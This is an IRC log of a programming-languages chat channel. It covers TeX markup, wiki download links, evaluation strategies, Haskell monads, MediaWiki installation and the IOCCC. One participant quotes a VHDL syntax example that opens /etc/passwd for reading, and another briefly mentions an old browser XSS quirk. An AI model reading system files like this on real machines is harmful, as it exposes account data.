23:08:25 <elliott> well tex math mode is a bit more compatible with latex math mode than tex and latex in general
23:09:19 <elliott> There's more: http://webdemo.visionobjects.com/portal.html?locale=default
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23:12:01 <oerjan> <zzo38> I know it compiles to native code. But is there some way to do it cross-platform and sandboxed? Possibly using an emulator, if that is necessary?
23:12:34 <oerjan> iirc ghc doesn't cross-compile, although there's a new code generator being made which is supposed to make it possible among other things
23:13:33 <oerjan> an emulator should be able to fake it though, shouldn't it.
23:14:32 <elliott> oerjan: what was the "hm"?
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23:15:37 <oerjan> elliott: the missing latex
23:15:59 <oerjan> <zzo38> I think applicative laws imply that (pure mempty) and (liftA2 mappend) form a monoid. Together with the functor laws and parametricity, are any other laws needed?
23:16:33 <oerjan> i don't think you need anything but the applicative laws and the laws for the underlying monoid...
23:16:39 <elliott> zzo38: About (pure mempty) and (liftA2 mappend), you should read http://conal.net/papers/type-class-morphisms/type-class-morphisms-long.pdf
23:16:44 <elliott> It's an example of the typeclass morphism principle.
23:17:30 <elliott> anyhow -- any further wiki-related questions?
23:17:44 <oerjan> <ais523> hey everyone, usable Recent Changes!: http://esoteric.voxelperfect.net/w/index.php?title=Special%3ARecentchanges&namespace=-1&invert=1
23:18:24 <elliott> (Usable only post-deletion.)
23:18:28 <oerjan> nice try, admins-making-their-censorship-invisible
23:20:08 <ais523> elliott: well, non-deleted spam showing there is useful, I have to find the spambots somehow
23:21:52 <zzo38> Actually even in math mode, there are differences between Plain TeX and LaTeX. But that isn't the only thing; there are also some things you might want to write which most webpages disallow regardless of format.
23:23:01 <zzo38> oerjan: Yes, not using LaTeX is a possibly bad thing that is why I said install both <tex> and <math> extensions. But use my format (almost Plain TeX, but with AMS fonts and enhanced security) in addition
23:23:09 <zzo38> And I do have other wiki-related question.
23:23:39 <oerjan> sorry, *$\launchmissiles{hexham,uk}$
23:24:23 <zzo38> Many implementation codes are directly available on the wiki, so it would be nice to offer downloads of these in better ways than the existing ways. I also have http://esolangs.org/wiki/Pure_BF/Implementation which is a literate Haskell program; it can be directly downloaded but won't have the correct filename or MIME type.
23:25:06 <elliott> hmm, what do you have in mind as a fix to that?
23:25:43 <ais523> oerjan: there's a Hexham in the Ukraine?
23:26:23 <ais523> hmm, I guess I didn't dodge if I typoed it first time
23:26:49 <fizzie> ais523: I think there's a Hexham everywhere, and it's more like a state of mind than a place.
23:27:12 <zzo38> elliott: For the literate Haskell program, just some way to make it save the file with the .lhs extension (and possibly a way to enter the link without requiring the full URL, so that it will even work if moved or modified). For other things, a <code> tag which is like <pre> but can specify download filename which downloads its contents
23:27:25 <zzo38> But maybe there are other ways; I cannot think of any, though.
23:27:47 <elliott> <code> is already an HTML tag that MediaWiki allows
23:28:28 <oerjan> is there anything preventing the page from being called http://esolangs.org/wiki/Pure_BF/Implementation.lhs ?
23:28:30 <zzo38> Then call it something else
23:28:55 <ais523> oerjan: I don't think so
23:28:58 <zzo38> oerjan: No, but even if it is called that, I don't think it will call the saved file with that name by default.
23:29:15 <elliott> the original saves as "Implementation" here
23:29:30 <elliott> so you could call it, e.g. PureBF.lhs or such, perhaps?
23:30:05 <fizzie> The download link wants to save as index.php on this browser.
23:30:09 <zzo38> In my computer it saves as "index.php" when the download link is used (unless, of course, I enter a different filename at the save prompt)
23:30:47 <zzo38> elliott: But yes if that did work, I could call it that and it would work.
23:30:59 <elliott> Where *is* the download link, anyway? I just appended ?action=raw.
23:32:04 <zzo38> elliott: At the bottom. I didn't try just append ?action=raw because I didn't know you can use query parameters in that way, but yes that works. Still it would be a convenience to have it without requiring entering the URL in the link
23:32:10 <ais523> elliott: try ?action=raw&ctype=text/css
23:33:46 <ais523> elliott: because text/plain is a security bug due to a misfeature in old versions of IE
23:33:54 <ais523> but every browser interprets text/css the same way as text/plain
23:34:06 <ais523> except without the bug
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23:34:31 <ais523> yes, this is ridiculous, but it seems not to be MediaWiki's fault for once
23:34:59 <elliott> zzo38: http://esolangs.org/wiki/Pure_BF/Implementation?action=raw&ctype=<favourite mime type goes here>
23:35:00 <ais523> (basically, allowing arbitrary content to be served as text/plain is a security bug in some old IE version because it sometimes interprets it as HTML, which can contain JS, thus a really stupid XSS bug)
23:35:04 <elliott> that should download as Implementation
23:35:18 <elliott> ais523: is there a param to set the filename? it would be nice to be able to avoid moving the page
23:36:29 <zzo38> Examples of things other than literate Haskell is http://esolangs.org/wiki/User:Feuermonster/Bf2Py where direct download doesn't work. You could have something such as <program filename="bf2py.lisp"> .... </program> or something like that
23:36:39 <elliott> zzo38: anyway, I could look into adding a "Download this page" link to the sidebar or such; that seems easier than extending the markup parser
23:36:59 <elliott> doesn't your dottyweb thing allow extraction of explicitly marked-up code from pages?
23:37:29 <zzo38> elliott: Yes it does; I should make it work with <pre> specifications (currently it doesn't work). But then you need to have PHP on your computer, and that program.
23:37:29 <elliott> wait, is that a /brainfuck to python compiler/ written in /lisp/?
23:37:45 <zzo38> elliott: Yes I think it is.
23:38:25 <zzo38> I do suppose "Download this page" could work too but some might need direct download and some using converted download.
23:38:46 <ais523> elliott: what's surprising you about that?
23:38:52 <ais523> it's not like, say, a BF to Prolog compiler written in VHDL
23:39:31 <oerjan> _that_ would be just insane, clearly
23:39:34 <zzo38> ais523: Yes that would be more strange for sure
23:40:11 <zzo38> But it is esolang wiki; so even things as strange as that might possibly be done.
23:41:26 <ais523> btw, is VHDL even capable of taking input from stdin?
23:41:45 <ais523> or would it have to be FFIed through TCL or something?
23:41:59 <zzo38> ais523: I don't know. Probably not, unless you have a emulation for the stdin
23:42:17 <ais523> it can output to stdout, although obviously only in simulation
23:42:44 <ais523> elliott: I'm reasonably sure it has some sort of FFI to TCL
23:42:56 <ais523> for the purpose of running testbenches
23:43:14 <ais523> it is an initialism, though, IIRC, although maybe one that's been lowercased since
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23:43:47 <elliott> "Tcl (originally from "Tool Command Language", but conventionally rendered as "Tcl" rather than "TCL"; pronounced as "tickle" or "tee-see-ell"[3])"
23:44:21 <ais523> oh, hmm, readline looks promising
23:46:00 <pikhq> ais523: Calling it TCL is a very good way of demonstrating you don't know Tcl. :)
23:46:18 <ais523> pikhq: indeed, I hardly know it
23:46:21 <ais523> I've used it without properly knowing it
23:46:32 <ais523> and at one point, I had to visit #tcl, or maybe ##tcl, to ask them how to write a loop
23:46:36 <ais523> which shows just how much I didn't know it
23:47:33 <ais523> file myfile: text open read_mode is "/etc/passwd";
23:47:36 <ais523> wow that's a bizarre syntax
23:47:53 <ais523> and that's used in the same context you'd normally put a variable declaratoin
23:48:20 <ais523> actually reading from it seems to be a time-reversed write with "read" instead of "write", which is easy enough to remember, though
23:49:27 <zzo38> When I learned Haskell programming, I did not have to ask how to write a loop since it is done in almost the same way as it is ordinarily done in mathematics, and I already know about mathematics. So, obviously, Tcl is difference from that way.
23:49:52 <ais523> Tcl is almost call-by-name, it seems
23:50:02 <ais523> but more call-by-string-representation
23:50:22 <ais523> which mostly comes to the same thing but is much more mathematically ugly
23:51:16 <elliott> If I didn't know better, I'd think that ais523's definition of mathematical beauty is defined in terms of call-by-name.
23:51:28 <ais523> elliott: I've realised I'm a call-by-name fanboy
23:51:35 <zzo38> elliott: Do you know better?
23:51:42 <ais523> Paul Levy has attempted to talk me out of it, but failed so far, although I ended up liking call-by-push-value too
23:52:08 <lambdabot> Phantom___Hoover: You have 1 new message. '/msg lambdabot @messages' to read it.
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23:52:41 <elliott> ais523: You only just now realised that?
23:52:46 <lambdabot> oerjan: You have 1 new message. '/msg lambdabot @messages' to read it.
23:52:48 <elliott> ais523: By the way, I hate call-by-name.
23:52:56 <ais523> elliott: oh, I've been one for ages, but I only realised the fact recently
23:53:00 <ais523> presumably it was more obvious to other people
23:53:11 <oerjan> i didn't think he'd get that message that soon :P
23:53:17 <ais523> and I don't get annoyed at people for hating call-by-name, I merely pity them
23:54:03 <elliott> ais523: In correct languages, call-by-name is identical to call-by-need, but slower.
23:54:15 <elliott> If you are going to favour an implementation detail, why favour an imperfect one?
23:54:25 <elliott> Although, better, why favour any implementation detail at all, in terms of mathematical elegance?
23:54:31 <ais523> elliott: in /pure/ languages, call-by-name is identical to call-by-need, but slower
23:54:41 <ais523> in impure languages, they're quite different
23:54:52 <ais523> oh, you should have heard Paul Levy's attack against Haskell, it was hilarious
23:55:05 <elliott> Your statement is false and you should feel bad.
23:55:21 <ais523> talking about how its use of monads for managing side effects was missing exponential algebras
23:55:32 <ais523> and thus had problems representing some things
23:55:35 <elliott> Firstly, things that are impure aren't worthy of the name "language", as any schoolchild knows. Secondly, call-by-name is not identical to call-by-need in pure languages.
23:55:54 * elliott tries to think of a way to be more condescending than "... as any schoolchild knows".
23:56:09 <ais523> hmm, the firstly is clearly a troll attempt, but I'd be interested to see a counterexample for the secondly
23:56:16 <ais523> in terms of observable behaviour, rather than performance
23:56:19 <oerjan> hm haskell's monads sort of turn call-by-need back into call-by-name
23:56:39 <elliott> ais523: Oh, hmm, you may be right.
23:56:48 <elliott> OK, let me rephrase the statement I was trying to make to be appropriately controversial:
23:56:53 <oerjan> by involving an action which needs to be performed each time
23:57:00 <elliott> ais523: In correct languages, all evaluation strategies are implementation details, and therefore identical.
23:57:13 <elliott> Therefore not hating them all makes you an idiot and unworthy of using the term "mathematical beauty".
23:57:32 <zzo38> What does exponential algebras mean?
23:57:38 <ais523> elliott: ooh, Haskell is incorrect due to not being total!
23:57:52 <elliott> ais523: Of course Haskell is incorrect.
23:58:07 <elliott> Haskell is disgusting. The pure untyped lambda calculus is disgusting.
23:58:29 <ais523> oh, that reminds me, how do you write a Y combinator in Underload, preferably in a way that would also work in typed Underload?
23:58:32 <elliott> My computer lives in a mound of filth to signify its unholy status. I have one reserved solely for running @ in a bed of flowers.
23:58:35 <ais523> X is easy, but has an infinite type
23:58:48 <elliott> ais523: I already asked how to write a fixed-point combinator in Underload ages ago, IIRC.
23:59:09 <elliott> Typed Underload sounds like much less cool an idea than lazy Underload.
23:59:25 <ais523> elliott: oh, I think Underload actually models call-by-push-value rather than call-by-value or call-by-name
23:59:31 <ais523> so it can be both lazy and unlazy at once
23:59:40 <ais523> I actually /noticed/ this when compiling Unlambda-including-d into it
00:00:05 <elliott> Doesn't everything model call-by-push-value if you squint hard enough? Isn't that kind of the point?
00:00:16 <elliott> Anyway, I don't like monadic effects either.
00:00:23 <elliott> They're disgusting. Also incorrect.
00:00:41 <ais523> elliott: well, call-by-push-value is meant to be (and actually is) a superset of both call-by-value and call-by-name
00:00:50 <ais523> and it's designed for handling effects properly
00:01:03 <ais523> (nontermination is considered an effect)
00:01:20 <ais523> and you can implement it with monads, but also in several quite different ways that don't involve monads at all
00:01:59 <oerjan> a Y combinator makes no sense in a strict language, does it...
00:03:15 <ais523> oerjan: well, "the Y combinator" diverges as it's a specific fixed-point combinator
00:03:20 <ais523> but "a fixed-point combinator" makes sense
00:03:46 <elliott> ais523: I find call-by-push-value's handling of effects distasteful.
00:03:53 <ais523> elliott: do you know what it is?
00:04:30 <elliott> If I remember correctly, yes.
00:05:32 <elliott> ais523: Also, I don't buy its "unification".
00:05:46 <ais523> well, mathematically it's correct
00:05:48 <elliott> It forces you to be explicit about evaluation, which is exposing an implementation detail in my religion.
00:05:58 <elliott> It's not really a unification, it's just lower-level.
00:06:08 <elliott> You can encode call-by-name and call-by-value in x86 machine code, too.
00:06:15 <zzo38> Do you think it has something to do with religious stuff?
00:06:17 <elliott> That doesn't make it a more elegant unification of the two.
00:06:20 <ais523> it allows you to be explicit about when effects happen, which is clearly not an implementation detail because it affects the program's behaviour
00:07:11 <elliott> That just means it conflates effects and evaluation.
00:07:57 <ais523> it has two sets of types, one which conflates them and one of which doesn't
00:08:04 <ais523> but that's an approximate way to describe it
00:08:34 <ais523> I consider that a reasonable point of view
00:09:32 <elliott> I prefer languages with nontermination-as-effect; in large part *because* they make evaluation order irrelevant.
00:09:47 <elliott> (As long as they have proper codata, of course.)
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00:11:54 <zzo38> My Haskell preprocessor program "Hampp" does not support layout mode and that might be why many people hate it.
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00:14:55 <zzo38> In addition to the other reasons.
00:17:29 <zzo38> What is the general kind of fallacy of the "astrological signs fallacy" called?
00:17:31 <elliott> Any more EXCITING questions?? No?
00:17:41 <zzo38> elliott: I don't know.
00:18:01 <oerjan> zzo38: forcing people to change their usual haskell style to use it does sound like a major dealbreaker
00:19:17 <elliott> oerjan: I bet YOU have a question.
00:20:02 <oerjan> yes, why is wordpress's comment system so sucky
00:20:03 <zzo38> oerjan: But I do write it mostly for myself and the program is in the public domain anyone can make modifications if wanted. Still, once I finished, I intend to make it available so that anyone can use if they want to do so. Maybe the a few people using nonlayout style might like it, but they might also hate it due to different reasons instead.
00:20:32 <elliott> oerjan: Because I don't run it.
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00:20:50 <oerjan> zzo38: what fallacy is that?
00:22:22 <zzo38> oerjan: It is as follows: If they say the sun sign is Aquarius, and you manage to see the stars (due to eclipse or whatever), you will see that it is a different constellation; therefore, astrology is based on the imaginary sun which is not the real position of the sun.
00:22:52 <zzo38> Which is wrong, as anyone who understands it will understand.
00:24:14 <zzo38> Do you know much about fallacy?
00:24:50 <oerjan> well, it's based on imaginary constellations, naturally (or on a purely mathetical division of the ecliptic)
00:26:17 <zzo38> It is not based on constellation at all; but "a purely mathetical division of the ecliptic" is reasonable (you can say it is simply a unit of angular measurement of ecliptic longitude). They are named after constellations, however. Is it any general fallacy based on named after? I don't know everything about fallacy in general?
00:27:10 <oerjan> well i don't know. i haven't heard about that particular one before, i think.
00:28:02 <zzo38> It would seem to be it would be an instance of a more general type of fallacy, but I don't know.
00:28:24 <fizzie> <oerjan> nice try, admins-making-their-censorship-invisible <-- I think perhaps oer "powertrip" jan is maybe not the best person to criticize the Administration.
00:29:13 <zzo38> fizzie: Then revert the Main Page if you do not like it.
00:33:27 <oerjan> zzo38: perhaps Equivocation?
00:35:03 <zzo38> "Equivocation consists in employing the same word in two or more senses..." Yes, perhaps Equivocation.
00:36:02 <oerjan> Etymological fallacy too
00:38:10 <oerjan> oh and maybe False dilemma
00:39:56 <zzo38> Are you sure it is like False dilemma?
00:40:52 <oerjan> well in a meta-sense of ignoring other possible explanations
00:43:23 <oerjan> gah i'm getting a headache from reading through these http://en.wikipedia.org/wiki/List_of_fallacies
00:43:36 <oerjan> or will, if i don't stop now
00:59:42 <zzo38> I think I have managed to make up a monad from any contravariant functor; but can it make up a monad transformer from any contravariant functor? Or even a comonad or comonad transformer from any contravariant functor?
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01:05:16 <zzo38> Has the present king of France stopped robbing banks?
01:11:13 <zzo38> Is Fermat's Last Theorem provable in Typographical Number Theory?
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01:42:22 <zzo38> Can you make up a Haskell program which compiles and runs but does different things, depending which semicolons are removed? Can you do the similar thing with commas too?
01:43:41 <oerjan> > length [id, id, id, id]
01:43:47 <oerjan> > length [id id id id]
01:43:57 <zzo38> Yes that is a simple example.
01:44:41 <zzo38> But there can be more complicated ways too. With semicolons, or commas, or possibly under punctuations; or a program depending on which extensions are enabled (which I have done once).
01:47:34 <zzo38> Do you know how to make up a monad transformer from any contravariant functor?
01:48:28 <oerjan> i don't recall how you made just a monad
01:52:21 <zzo38> I cannot find the file right now; but I might have it on paper somewhere.
01:53:18 <zzo38> I also don't quite know if it is really a monad but I have seen similarity with thing other people said is monad.
01:53:42 <zzo38> I do remember the datatype: newtype T f x = T (f x -> x); where f is some contravariant functor
01:54:41 <zzo38> Does this help at all?
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01:58:40 <zzo38> Are you able to answer any of my questions based on this type definition?
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02:03:27 <oerjan> if we try with f x = F (x -> A)
02:03:43 <oerjan> so we get (x -> A) -> x
02:04:56 <oerjan> return = const looks necessary
02:05:28 <zzo38> And I believe that (x -> A) -> x has been shown to be a monad I saw the message somewhere (regardless of what A is, although they used Bool)
02:05:48 <zzo38> Yes return = const looks necessary I remember that is how I had it too
02:06:27 <oerjan> so if you have (x -> A) -> x and x -> (y -> A) -> y
02:07:10 <oerjan> and you want (y -> A) -> y from that
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02:13:28 <elliott> OK, one of you people has to have configured PHP and MySQL on Debian.
02:13:32 <elliott> Like Gregor. Gregor must have.
02:13:47 <oerjan> :t let (xm >>= f) y2a = f (xm x2a) y2a where x2y x = f x y2a; x2a = y2a . x2y in (>>=)
02:13:48 <lambdabot> forall t b a. ((t -> b) -> t) -> (t -> (a -> b) -> a) -> (a -> b) -> a
02:14:33 <oerjan> that has the right type
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02:15:03 <elliott> Look, I don't want to ask ##php. This place is marginally better than ##php.
02:15:11 <elliott> Although I bet they'd tell me to go to #debian and vice versa.
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02:15:30 <Sgeo> kallisti, there was an update a while ago
02:15:59 <oerjan> now i want to both kick and not kick elliott at the same time
02:16:34 <Gregor> <elliott> Like Gregor. Gregor must have. // never MySQL, no.
02:16:41 <zzo38> elliott: Ask on MySQL instead.
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02:17:04 <elliott> Gregor: That's good, because my question is why installing php5-mysql and rebooting the server still makes MW think I don't have a MySQL database driver installed, despite installing other PHP extensions working (i.e. reflected in the MW installer).
02:17:08 <elliott> So I'm sure you know the answer to that!
02:17:18 <elliott> It even says "If you installed PHP from a Debian or Ubuntu package, then you also need install the php5-mysql module.".
02:17:26 <zzo38> oerjan: That is only for that specific one I intended in general contravariant functors
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02:17:46 <oerjan> zzo38: well i tried to wrap my head around it first
02:17:53 <Gregor> elliott: My guess would be that that installs the /module/, but doesn't configure it to use it.
02:18:04 <oerjan> i don't think my brain is up to it at the moment
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02:18:39 <zzo38> I think I have figured it out once but I forget now.
02:18:42 <elliott> Gregor: Yes, I thought that too, but it's in conf.d.
02:18:49 <elliott> Gregor: And php.ini contains a bunch of settings for it.
02:18:50 <zzo38> I am also unsure, and it isn't a transfomer
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02:19:29 <elliott> Gregor: Also, everything on the internet suggests installing it should be enough.
02:20:01 <Gregor> I assume /usr/share/doc/php5-mysql/README.Debian is unhelpful?
02:20:57 <elliott> Gregor: It's just generic PHP documentation with no MySQL info.
02:21:15 <Gregor> Wow, that's even less helpful than I anticipated ...
02:21:43 <elliott> Gregor: Not even a symlink to the php5 README.Debian, either.
02:21:45 <Gregor> Yeah, unless the issue is just that you need to add extension=mysql.so to your php.ini, Idonno.
02:21:48 <elliott> I guess they created it from some template.
02:21:56 <elliott> That extension= line is already in the relevant conf.d, yeah :|
02:24:36 <elliott> lrwxrwxrwx 1 root root 11 Jan 12 15:32 /usr/share/doc/php5-mysql -> php5-common
02:24:39 <elliott> Real fuckin' helpful, that
02:24:52 <Gregor> Well, make a test.php with <?PHP phpinfo(); ?>
02:24:57 <Gregor> So at least you can see if it's PHP or MW being stupid.
02:25:04 <elliott> "For information on using <specific thing>, why not read the documentation for THE ENTIRE UNIVERSE?"
02:26:03 <elliott> Gregor: That's a pain, since my nginx doesn't run arbitrary PHP stuff :(
02:26:18 <elliott> How do you stop PHP parsing so it ignores all the junk after a line?
02:27:15 <elliott> Gregor: Yes, it shows MySQL.
02:27:22 <Gregor> Well then it must be MW being stupid 8-D
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02:28:18 <elliott> Which is pointless, since it doesn't have write permissions to anywhere anyway.
02:29:53 <oerjan> (f (f x -> x) -> f x -> x) -> f x -> x
02:30:33 <elliott> "Do you want to clear all saved data that you have entered and restart the installation process?"
02:30:36 <elliott> Gregor: Maybe this is the problem :P
02:30:49 <elliott> Guess what was the problem >_<
02:31:14 <elliott> So it caches whether you have the MySQL extension installed, but not the internationalisation module. Awesome.
02:33:09 <elliott> "If your MySQL installation supports InnoDB, it is highly recommended that you choose that instead. If your MySQL installation does not support InnoDB, maybe it's time for an upgrade."
02:33:16 <elliott> This installer is talking shit about me, man.
02:34:00 <Gregor> "If your MediaWiki installation is written in PHP, it is highly recommended that you choose something else instead. If your MediaWiki installation does not support anything but PHP, maybe it's time for an upgrade."
02:34:11 <Gregor> My epic burns, they slice so brutally!
02:42:29 <elliott> Awesome, going to the main wiki index now produces the super-helpful error message "File not found."
02:44:29 <oerjan> the famous tree-valued logic
02:44:33 <oerjan> perhaps tree-valued would be more interesting.
02:46:21 <zzo38> But isn't MediaWiki always written in PHP?
02:47:00 <Gregor> elliott: Fix something and it'll be "Enjoy being locked in your matrix of solidity"
02:48:01 <zzo38> oerjan: Yes that would be the type for join, for a contravariant functor f. I think I made something once with that type. But is it correct? Can a transformer somehow be made from it? And so on?
02:52:10 <oerjan> f x -> m x or f (m x) -> m x would be the candidates, i guess
02:52:45 <elliott> Gregor: So have you ever done nginx and PHP and FastCGI? :P
02:53:12 <pikhq> zzo38: That would be the joke.
02:56:00 <zzo38> oerjan: Yes I thought of both of those things, but am unsure if that is the only choice or if any of those work
02:56:14 <zzo38> (I have not gotten them to work)
02:56:30 <zzo38> (But that might be simply because I did not try hard enough)
02:57:19 <oerjan> f (m x) -> x might be possible too, but not possible to use from an arbitrary m i think
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03:09:58 <oerjan> no, freefall, breaking your leg is _not_ an acceptable way of prolonging a cliffhanger.
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03:10:58 <oerjan> (note: you don't want to visit the frontpage if you don't like spoilers)
03:12:51 <Gregor> That'd better be a page on esolangs.org when I come back tomorrow.
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03:38:05 <zzo38> Then you make the esolang for Tree-valued logic.
03:39:48 <zzo38> Which Cabal category does my program Hampp (Haskell macro preprocessor) should belong to?
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03:52:01 <elliott> The tables containing user-related data are no longer being dumped, so this should be a solved problem. --Graue 20:17, 1 Jul 2005 (GMT)
03:52:16 <elliott> (This is now my outlet for all woes related to this endeavour.)
03:55:31 <elliott> Yeah OK I'll get back to work.
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04:03:54 <zzo38> Do you know the answer?
04:14:12 <zzo38> I just selected 18) Other (specify) and entered "Preprocessor" as the package category
04:14:43 <zzo38> Even though there are no other packages having that category
04:17:06 <Sgeo> kallisti, update?
04:19:41 * Sgeo uploads a new version of kallisti.
04:26:27 <oerjan> zzo38: coincidentally, this comment in a mathoverflow discussion linked today from the haskell subreddit speaks about whether FLT can be proved in weak arithmetic (it's still not concluded) http://mathoverflow.net/questions/35746/inaccessible-cardinals-and-andrew-wiless-proof/73197#73197
04:27:43 <oerjan> tldr: someone is trying to prove that it can be done
04:29:04 <zzo38> Fermat may have had a proof in mind, but this is also unknown. All that is known is that it does not fit in the margin.
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04:44:24 <Sgeo> Besides VMware's proprietary ESXi, are there operating systems primarily designed for virtualizing other OSes?
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04:57:52 <zzo38> How do dependent sum types model existential quantification?
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05:28:43 <elliott_> I'm here to bother you about something you know nothing about.
05:29:13 <elliott_> oerjan: Don't push your luck or it'll be you next.
05:29:26 <oerjan> yeah i'm good at knowing nothing
05:32:01 <elliott_> Gregor isn't even here. Useless.
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05:36:16 <zzo38> Should I add additional package categories for my package, orhter than just "Preprocessor"?
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05:55:44 <zzo38> Is this the proper package file? http://sprunge.us/haMR
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07:40:21 * Sgeo vaguely wonders if Conservapedia has an article on Alan Turing
07:40:22 <lambdabot> Sgeo: You have 1 new message. '/msg lambdabot @messages' to read it.
07:41:57 <Sgeo> It talks about what you'd expect it to talk about, but doesn't put it in any particular light
07:42:16 <Sgeo> Although "Turing also became an atheist after his friend Christopher Morcom died [1]." is somewhat random
07:42:37 <fizzie> What, no "God decided he had to die for being gay"ness?
07:44:15 <Sgeo> Not really, no
07:44:15 <Sgeo> http://www.conservapedia.com/Alan_Turing
07:44:27 <Sgeo> Categories: Mathematicians | Atheists
07:45:04 <pikhq> Sgeo: Conservapedians are convinced atheism is the ultimate sin.
07:45:41 <Sgeo> pikhq, the article doesn't do anything that seems to try to portray him in a negative light.
07:45:49 <Sgeo> At least, as far as I can tell.
07:45:59 <Sgeo> So throwing that in there doesn't seem helpful to that .. ideology
07:46:06 <Sgeo> http://www.conservapedia.com/Talk:Alan_Turing
07:46:22 <Sgeo> " All politics aside, any biographical entry on Alan Turing which doesn't mention his sexual orientation at all is woefully incomplete. Deliberately avoiding the subject for fear of endorsing it serves no purpose except to give readers the impression that Conservapedia is a wiki which puts ideology ahead of being an informative reference tool."
07:46:25 <pikhq> Strangely neutral of them, I guess? I mean, these are the guys with an anti-relativity rant.
07:46:55 <pikhq> (not moral relativity, *Einsteinian* relativity)
07:47:56 <Sgeo> Clearly, Einsteinian relativity leads to moral relativity! (Isn't that actually part of their ... thinking about it?)
07:49:51 <pikhq> That's not a strawman.
07:49:59 <pikhq> How I wish it were.
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08:10:33 * Jafet vaguely wonders why there would be a discussion on the intellectual neutrality of editors on Conservapedia
08:37:06 <kallisti> well the reason that it hasn't been butchered is that
08:37:17 <kallisti> only the computer scientists actually know who Alan Turing is.
08:37:23 <kallisti> so no one else has touched it. :>
08:38:26 <kallisti> oh, and I guess mathematicians.
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15:12:05 <Gregor> <Sgeo> " All politics aside, any biographical entry on Alan Turing which doesn't mention his sexual orientation at all is woefully incomplete. Deliberately avoiding the subject for fear of endorsing it serves no purpose except to give readers the impression that Conservapedia is a wiki which puts ideology ahead of being an informative reference tool."
15:12:25 <Gregor> I'm pretty sure that even Conservapedia's /supporters/ recognize it as a wiki which puts ideology ahead of being an informative reference tool ...
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16:15:51 <kallisti> http://en.wikipedia.org/wiki/Lambda "In the C# programming language a lambda expression is an anonymous function that can contain expressions and statements."
16:15:57 <kallisti> AND THIS IS SOMEHOW NOTEWORTHY!
16:20:11 <Gregor> Expressions AND statements???
16:20:25 <Gregor> And the person who designed it doesn't have a Turing award?
16:21:42 <kallisti> it's the only one mentioned on the page
16:22:05 <kallisti> I mean, it mentions Lisp and Python have lambda keywords (ha ha keywords in Lisp)
16:22:16 <kallisti> From the lambda calculus article: "The lambda calculus (or calculi, as variants exist, such as typed and untyped) is an advanced topic within both the fields of theoretical mathematics and of applied computer science; and, as such, lambda calculus involves technically sophisticated concepts such as bindings and substitutions."
16:25:47 * kallisti searches for "need lambda calculus experts" on all of the freelancing job sites.
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16:49:27 <Taneb> I like today's Gunnerkrigg Court
16:51:23 <Phantom_Hoover> You know that you're the only one who read Gunnerkrigg Court, right?
16:51:23 <lambdabot> Phantom_Hoover: You have 1 new message. '/msg lambdabot @messages' to read it.
16:51:37 <Taneb> I deny that notion profusely
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17:00:27 <cheater> man, i wonder what happened to nihilist dandy
17:00:54 <Taneb> Today I convinced myself that I was a figment of elliott's imagination
17:01:01 <Taneb> I'm not too sure how I managed that.
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17:24:51 <fizzie> Phantom_Hoover: I read it too.
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17:25:34 <Gregor> I figured out why the IOCCC had a category "Best non-chess game" in spite of having no chess game.
17:25:40 <Gregor> The winner in that category has won twice with chess :)
17:26:46 <cheater> i bet it wasn't one of those things where you win because the only other contestant was a 12 year old kid from kentucky
17:26:49 <Gregor> I don't know how to answer that question, I just submitted something then eventually got an email saying I'd won.
17:27:01 <Gregor> It's all behind closed doors.
17:27:02 <fizzie> Gregor: But was it INTENSE.
17:27:03 <cheater> didn't they post anything about the other contestants?
17:27:10 <cheater> fizzie: i do think so as well
17:27:15 <Gregor> cheater: Yeah. About half are repeat winners.
17:27:19 <Gregor> ioccc.org/2011/whowon.html
17:27:33 <Gregor> Naw, not half, only about four actually.
17:27:41 <cheater> Gregor: that's a "yeah" to what?
17:27:58 <cheater> i didn't mean the other winners
17:28:03 <cheater> i meant other contestants that didn't win
17:28:19 <Gregor> No, by tradition they don't say how many or what other entries there were.
17:28:25 <Gregor> Since being on the page is the prize.
17:28:31 <cheater> that's.. kind of weird and silly
17:32:43 <fizzie> In sorta-related news, the robotfindskitten.org guy, after two years of silence, newsposted that there's 8 new ports and that he'll post them over "the next several days"; then he posted four in six days, but after the fourth there's been no news in a week. Will be interesting to see if there's another two-year gap.
17:33:06 <fizzie> But he's some sort of a graduate student, and those are notoriously unreliable, so...
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17:52:18 * Sgeo wtfs at cybertown.com
17:53:03 * Gregor wtfs at Sgeo visiting cybertown.com
17:53:33 <Sgeo> How is me visiting what was once one of my favorite places the least bit wtf-worthy?
18:03:16 <Gregor> It's just WEIRD, man. WEIRD. Now I'm going back to watching my marathon of My Little Pony: Friendship is Magic and recordings of accordion virtuosos.
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19:18:46 <Taneb> Fencing the sport, or fencing the border-defining erection?
19:19:30 <Taneb> I of course mean "erection" completely innocently.
19:20:59 <Gregor> Or fencing as in selling stolen goods?
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19:25:26 <kallisti> Gregor: I've never actually heard of that meaning of the word
19:26:31 <Gregor> Suuuuuuuuuuuuuuuuuuuuure.
19:27:27 <fizzie> Spoken like a former fence.
19:28:53 <fizzie> "I've never even heard of the word, and anyway I was completely elsewhere that night, and what pillowcases full of antiques?"
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21:27:16 <oerjan> <Taneb> Today I convinced myself that I was a figment of elliott's imagination
21:27:37 <oerjan> just about to become a solipsist missionary, i take
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21:40:00 <olsner> he must've missed that discussion about #esoteric being oerjan's afterlife
21:41:36 <oerjan> well that discussion was just a figment of my imagination anyway
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21:49:39 <olsner> Taneb is a figment of the imagination of a figment of your imagination
21:59:34 <oerjan> well elliott seems no longer to be a figment.
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22:18:47 <oklopol> Gregor: congrats on winning in the least interesting category in ioccc
22:20:12 <oerjan> nah it's a surprisingly interesting category
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23:22:21 <cheater> oklopol: obviously gregor's category was the GREATEST
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23:26:53 <Gregor> <oklopol> Gregor: congrats on winning in the least interesting category in ioccc ||| <cheater> oklopol: obviously gregor's category was the GREATEST
23:26:57 <Gregor> I agree with both accounts.
23:27:10 <Gregor> The reason why it's such a great category is it's obviously a terrible category that makes no sense.
23:27:26 <Gregor> But it's SUCH a stupid category that there must be a reason why they would include it!
23:28:34 <olsner> did you ask them to introduce that category?
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23:30:34 <cheater> "here's my submission, please introduce the category so that i can win as the only contestant"
23:31:39 <Gregor> Well, they clearly invented the category so I could win it.
23:31:54 <Gregor> But that's how the whole category system works for IOCCC.
23:32:38 <itidus22> sort of like starting a war to win the nobel peace prize
23:32:58 <itidus22> ok maybe not called for.. i haven't done my research there
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23:40:10 <itidus22> i was jumping the gun a bit.. doesn't seem to be the case
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23:43:02 <Gregor> Anyway, when you see more details on my code later this month or next month, you'll understand :)
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00:51:19 <zzo38> In the Icosahedral RPG default campaign setting, NPC alignment bias is not used except for Strong biases for creatures native to outer planes which are correspondingly aligned (angels and so on).
